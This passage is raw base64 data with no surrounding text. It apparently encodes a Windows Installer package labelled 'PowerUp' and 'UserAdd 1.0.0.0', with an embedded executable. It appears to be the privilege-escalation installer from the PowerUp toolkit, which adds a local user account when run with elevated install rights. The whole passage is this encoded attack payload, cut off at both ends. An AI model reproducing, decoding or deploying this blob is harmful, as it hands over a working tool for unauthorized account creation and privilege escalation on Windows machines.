8vLy83Ly8vLysvLy8vT2dBQUFEVUFBQUEyQUFBQS92Ly8vLzcvLy8vKy8vLy8vdi8vL3pzQUFBQTlBQUFBL3YvLy96NEFBQUEvQUFBQVFBQUFBRUVBQUFCQ0FBQUFRd0FBQUVRQUFBQkZBQUFBUmdBQUFFY0FBQUJJQUFBQVNRQUFBRW9BQUFEKy8vLy9UQUFBQUUwQUFBQk9BQUFBVHdBQUFGQUFBQUJSQUFBQVVnQUFBRk1BQUFCVUFBQUFWUUFBQVA3Ly8vLysvLy8vV0FBQUFQNy8vLy8rLy8vLy92Ly8vMXdBQUFEKy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vNy9BQUFHQVFJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFFQUFBRGdoWi95K1U5b0VLdVJDQUFySjdQWk1BQUFBS2dCQUFBT0FBQUFBUUFBQUhnQUFBQUNBQUFBa0FFQUFBTUFBQUNBQVFBQUJBQUFBSEFCQUFBRkFBQUFnQUFBQUFZQUFBQW9BUUFBQndBQUFKUUFBQUFKQUFBQXFBQUFBQXdBQUFEWUFBQUFEUUFBQU9RQUFBQU9BQUFBOEFBQUFBOEFBQUQ0QUFBQUVnQUFBQWdCQUFBVEFBQUFBQUVBQUFJQUFBRGtCQUFBSGdBQUFBb0FBQUJKYm5OMFlXeHNaWElBQUFBZUFBQUFDd0FBQUVsdWRHVnNPekV3TXpNQUFCNEFBQUFuQUFBQWUwRXdORGxGTXpGR0xUYzNNREV0TkVNMFFTMUJRMEpETFVJeU5qQkZRakE0UWtJMFEzMEFBRUFBQUFBQUxmUjFRVGpQQVVBQUFBQUFMZlIxUVRqUEFRTUFBQURJQUFBQUF3QUFBQUlBQUFBREFBQUFBZ0FBQUI0QUFBQVhBQUFBVFZOSklGZHlZWEJ3WlhJZ0tEUXVNUzQxTkM0d0tRQUFIZ0FBQUVBQUFBQkpibk4wWVd4c1pYSWdkM0poY0hCbFpDQmllU0JOVTBrZ1YzSmhjSEJsY2lBb05DNHhMalUwTGpBcElHWnliMjBnZDNkM0xtVjRaVzF6YVM1amIyMEFIZ0FBQUFnQUFBQlFiM2RsY2xWd0FCNEFBQUFJQUFBQVZYTmxja0ZrWkFBZUFBQUFFQUFBQUZWelpYSkJaR1FnTVM0d0xqQXVNQUJCT004QkF3QUFBTWdBQUFBREFBQUFBZ0FBQUI0QUFBQXJBQUFBVjJsdVpHOTNjeUJKYm5OMFlXeHNaWElnV0UxTUlGUnZiMnh6WlhRZ0tETXVPQzR4TVRJNExqQXBBQUFEQUFBQUFnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBWUFCZ0FHQUFZQUJnQUdBQVlBQmdBR0FBWUFDZ0FLQUNJQUlnQWlBQ2tBS1FBcEFDb0FLZ0FxQUNzQUt3QXZBQzhBTHdBdkFDOEFMd0ExQURVQU5RQTlBRDBBUFFBOUFEMEFUUUJOQUUwQVRRQk5BRTBBVFFCTkFGd0FYQUJoQUdFQVlRQmhBR0VBWVFCaEFHRUFid0J2QUhJQWNnQnlBSE1BY3dCekFIUUFkQUIzQUhjQWR3QjNBSGNBZHdDQ0FJSUFoZ0NHQUlZQWhnQ0dBSVlBa0FDUUFKQUFrQUNRQUpBQWtBQUNBQVVBQ3dBTUFBMEFEZ0FQQUJBQUVRQVNBQWNBQ1FBakFDVUFKd0FqQUNVQUp3QWpBQ1VBSndBQkFDMEFKUUF2QURFQU5BQTNBRG9BTlFCSkFFc0FCQUFqQUVBQVF3QkdBQXNBTkFBM0FFMEFUd0JSQUZRQVZnQmRBRjhBSndBM0FGOEFZUUJrQUdjQWFRQnJBQUVBTFFBakFDVUFKd0FqQUNVQUp3QUxBQ1VBUUFCNEFIb0FmQUIrQUlBQUJ3Q0NBQUVBQndCZkFJWUFpQUNLQURjQWF3Q1JBSk1BbFFDWkFKc0FDQUFJQUJnQUdBQVlBQmdBR0FBSUFCZ0FHQUFJQUFnQUNBQVlBQmdBQ0FBWUFCZ0FDQUFZQUJnQUNBQUlBQmdBQ0FBWUFBZ0FDQUFZQUFnQUdBQUlBQWdBQ0FBWUFCZ0FHQUFZQUJnQUNBQUlBQmdBR0FBWUFBZ0FDQUFJQUFnQUdBQUlBQWdBQ0FBSUFCZ0FHQUFJQUFnQUNBQVlBQmdBQ0FBWUFCZ0FDQUFJQUJnQUNBQUlBQmdBR0FBWUFBZ0FDQUFZQUJnQUNBQUlBQWdBQ0FBSUFCZ0FDQUFZQUJnQUdBQUlBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVFBQWdBRUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBL1AvL2Z3QUFBQUFBQUFBQS9QLy9md0FBQUFBQUFBQUEvUC8vZndBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVFBQWdBQUFBQUFBQUFBQUFBQUFBQUFBQUlBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDQUFBQUFnQUFBQUFBQUFBQUFBUUFBZ0FBQUFJQUFBQUFBQUFBQUFBQUFBQUFBQUFDQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBL1AvL2Z3QUFBQUFBQUFBQS9QLy9md0FBQUFBQUFBQUFBQUFBQUFFQUFJQUFBQUNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBLy8vL2Z3QUFBQUFBQUFDQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBZ0FBQ0EvLy8vL3dBQUFBQUFBQUFBLy8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFEL2Z3Q0FBQUFBQUFBQUFBRC9md0NBQUFBQUFBQUFBQUQvZndDQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFEL2Z3Q0FBQUFBQUFBQUFBQUFBQUFBLy8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVA5L0FJRC9md0NBQUFBQUFBQUFBQUQvLy8vLy8zOEFnQUFBQUFBQUFBQUFBQUFBQVAvLy8vOEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFEL2Z3Q0FBQUFBQUFBQUFBRC9md0NBQUFBQUFBQUFBQUFBQUFBQS8zOEFnUC8vLy84QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBREFBQ0FBQUFBQVAvLy8vOEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTlFBQUFEc0FBQUExQUFBQUFBQUFBQUFBQUFBQUFBQUFOUUFBQUFBQVRRQUFBQUFBQUFCTkFDOEFBQUFBQUM4QUFBQUFBQUFBWVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF2QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHQUFBQUJnQUFBQVlBQUFBQUFBQUFBQUFBQUFBQUFBQUdBQUFBQUFBR0FBQUFBQUFBQUFZQUJnQUFBQUFBQmdBQUFBQUFBQUFHQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVlBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCTUFFd0FmQUI4QUFBQUFBQUFBQUFBVEFBQUFBQUFBQUJNQUpRQUFBQk1BSlFBQUFCTUFKUUFBQUJNQUt3QWxBQk1BTWdBVEFBQUFFd0FUQUJNQVN3QUFBQk1BUVFCRUFBQUFId0JZQUFBQUV3QVRBQjhBQUFBQUFCTUFFd0FBQUFBQUV3QVRBR1VBQUFCcEFHc0FFd0FyQUJNQUpRQUFBQk1BSlFBQUFFUUFKUUNDQUFBQUFBQWZBSDRBSHdBZkFCTUFSQUJFQUJNQUV3QUFBSXNBQUFCckFESUFId0FmQUVRQVdBQUFBQUFBQUFBQUFCMEFBQUFBQUJZQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCYUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFGQUFWQUNFQUlBQWVBQndBR2dBWEFCc0FHUUFBQUFBQUpBQW1BQ2dBSkFBbUFDZ0FKQUFtQUNnQUxBQXVBRGtBTUFBekFEWUFPQUE4QUVnQVNnQk1BRDhBUGdCQ0FFVUFSd0JUQUZrQVd3Qk9BRkFBVWdCVkFGY0FYZ0JnQUc0QWJRQmpBR0lBWmdCb0FHb0FiQUJ3QUhFQUpBQW1BQ2dBSkFBbUFDZ0FkZ0IxQUlNQWVRQjdBSDBBZndDQkFJVUFoQUNOQUk0QWp3Q0hBSWtBakFDWUFKY0FrZ0NVQUpZQW1nQ2NBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUowQW5nQ2ZBS0FBb1FDaUFLTUFwQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFJSU9FZytpRGVJWGNoVHlQb0kvSW1RQUFBQUFBQUFBQUFBQUFBQUFBQUFDZEFKNEFud0NsQUFBQUFBQUFBQUFBSUlPRWcraURGSVVBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQW5RQ2ZBS0FBb1FDa0FLWUFwd0FBQUFBQUFBQUFBQUFBQUFBQUFDQ0Q2SU40aGR5RnlKbWNtQUNaQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFFQUFZQUJRQUNBQUFBQUFBRUFBSUFCZ0FDQUFzQUZRQUZBQVVBQVFBc0FBb0FBUUFUQUFJQUN3QUdBQU1BQWdBSUFBSUFDUUFDQUFnQUFnQ3FBS3NBckFBRWdBQUFyUUROSVZSb2FYTWdjSEp2WjNKaGJTQmpZVzV1YjNRZ1ltVWdjblZ1SUdsdUlFUlBVeUJ0YjJSbExnME5DaVFBQUFBQUFBQUFyZ0N2QUxFQXN3QzJBRE9BQVl3QmdBS01BWUN2QUtrQXFRQ29BS2tBc0FDMUFMSUF0QUMzQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQXVtTE15S3dBdUFDNkFMZ0F1Z0FBQUxrQXV3QzhBRjNJMEdMTXlGSnBZMmpSWXN6SUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBVUVVQUFFd0JCUUM5QUFBQXZnQUFBQUtBQVlBQUFBQ0FDd0VKQUFEbUFBQUFiZ0FBQUFBQUFKZEVBQUFBRUFBQUFBQUJBQUFBQUJBQUVBQUFBQUlBQUFVQUFBQUFBQUFBdlFDcUFBQUFBQUFBc0FFQUFBUUFBSi9DQVFBQ0FFQUJBQUFRQUFBUUFBQUFBQkFBQUJBQUFBQUFBQUFRQUFBQWNEOEJBSm9BQUFEc05nRUFqQUFBQUFnQUFnQUlBQUlBQ0FBQ0FBb0FHUUFOQUFFQURnQUJBQU1BQVFBZUFBRUFBUUFxQUJVQUFRQVZBQUVBTmdBQkFDUUFBUUQxQUFFQUR3QUJBQVFBQ1FDZEFKNEFud0NnQUtFQW93Q2tBS1lBcHdDdUFLOEFzUUN6QUxZQXdBREJBTUlBd3dERUFNVUF4Z0RIQU1nQXlRREtBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTXNBeXdETEFNc0F6QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUlJT0VnK2lEZUlYY2hhQ1B5Sm1jbUFDWjI0V2pqNkdQb28ra2p4bUFaSUM4Z3JDRVFJWUloeWlLaUpOd2w5U1hlWVdxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcWRBSjRBbndDbEFNQUF3UURDQU1NQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNDRGhJUG9neFNGR1lCa2dMeUNzSVIzZDNkM2gzZUhoNGVIaUlpQmFxZ0F6UURPQUFkd0IzQjNlSGg0aHhxbEFLb0lKU1VsSndRbmRJaUlpSWhxcUFjSEJ3ZHdjSEFIY0hkM2QzZDRHcVlBQUFBSEFIQndBQWNIY0hkM2QycW9BQUdBQUFBQWdBQUFBQUFBQUFBQXFBZDNCM2QzZDNBSGNIZUhkNGQzYXFnQUFBQUFBQUFBQUFBQUFBQUFjSXFvQUdvSWhJTklvQVNuZUVpSWhIZUtxQWNnQUFFQUZRQUJBQlFBQndBR0FBd0FRZ0FGQUFrQUZRQ2ZBQVVBQ0FBTUFHOEFCUUFQQUFjQUV3QUhBQVlBQndBbkFBRUFCQUFFQUJ3QUFRQUpBQklBT3dBQkFBc0FBZ0FFQUFJQVBnQUJBQW9BQkFBSkFBd0EwZ0FCQUFvQUNBQW5BQUVBNkFBQkFBY0FBZ0FjQUFFQTR3QUJBQXdBQ3dCVEFBRUFYZ0FCQUswQUFnRUZBUWdCQ3dFQ2dBS0FBb0FDZ0FLQS93RC9BUDhBL3dEL0FBQUJBd0VHQVFrQkRBRUJBUVFCQndFS0FRMEJxZ0NxQUtvQXFnQ3FBS3FxcXFvR0FBUUFEQUFCQUM0QUFRQUdBQUlBQ1FBRkFEb0FBUUFNQUFJQVZ3QUJBSVlBQVFBUUFBSUFwZ0FCQUFvQUF3QXBBQUVBQndBVkFEa0FBUUFPQUFJQWxBQUJBQVVBQWdBdUFBRUFPZ0FCQUFjQUFnQStBQUVBQlFBQ0FJRUFBUUFKQUFJQWF3QUJBRkVBQVFBU0FBRUFFUUFGQUFnQUFnQWZBQUVBQ2dBR0FDRUFBUUFFQUJRQWN3QUJBRGtBQVFBSUFBSUFDQUFCQUdNQUFRQUlBQUlBSlFBQkFBY0FBd0JCQUFFQUNBQUdBRDhBQVFCMkFBRUFTZ0FCQUFRQUJRQk9ZVzFsVkdGaWJHVlVlWEJsUTI5c2RXMXVYMVpoYkdsa1lYUnBiMjVXWVd4MVpVNVFjbTl3WlhKMGVVbGtYMU4xYlcxaGNubEpibVp2Y20xaGRHbHZia1JsYzJOeWFYQjBhVzl1VTJWMFEyRjBaV2R2Y25sTFpYbERiMngxYlc1TllYaFdZV3gxWlU1MWJHeGhZbXhsUzJWNVZHRmliR1ZOYVc1V1lXeDFaVWxrWlc1MGFXWnBaWEpPWVcxbElHOW1JSFJoWW14bFRtRnRaU0J2WmlCamIyeDFiVzVaTzA1WGFHVjBhR1Z5SUhSb1pTQmpiMngxYlc0Z2FYTWdiblZzYkdGaWJHVlpUV2x1YVcxMWJTQjJZV3gxWlNCaGJHeHZkMlZrVFdGNGFXMTFiU0IyWVd4MVpTQmhiR3h2ZDJWa1JtOXlJR1p2Y21WcFoyNGdhMlY1TENCT1lXMWxJRzltSUhSaFlteGxJSFJ2SUhkb2FXTm9JR1JoZEdFZ2JYVnpkQ0JzYVc1clEyOXNkVzF1SUhSdklIZG9hV05vSUdadmNtVnBaMjRnYTJWNUlHTnZibTVsWTNSelZHVjRkRHRHYjNKdFlYUjBaV1E3VkdWdGNHeGhkR1U3UTI5dVpHbDBhVzl1TzBkMWFXUTdVR0YwYUR0V1pYSnphVzl1TzB4aGJtZDFZV2RsTzBsa1pXNTBhV1pwWlhJN1FtbHVZWEo1TzFWd2NHVnlRMkZ6WlR0TWIzZGxja05oYzJVN1JtbHNaVzVoYldVN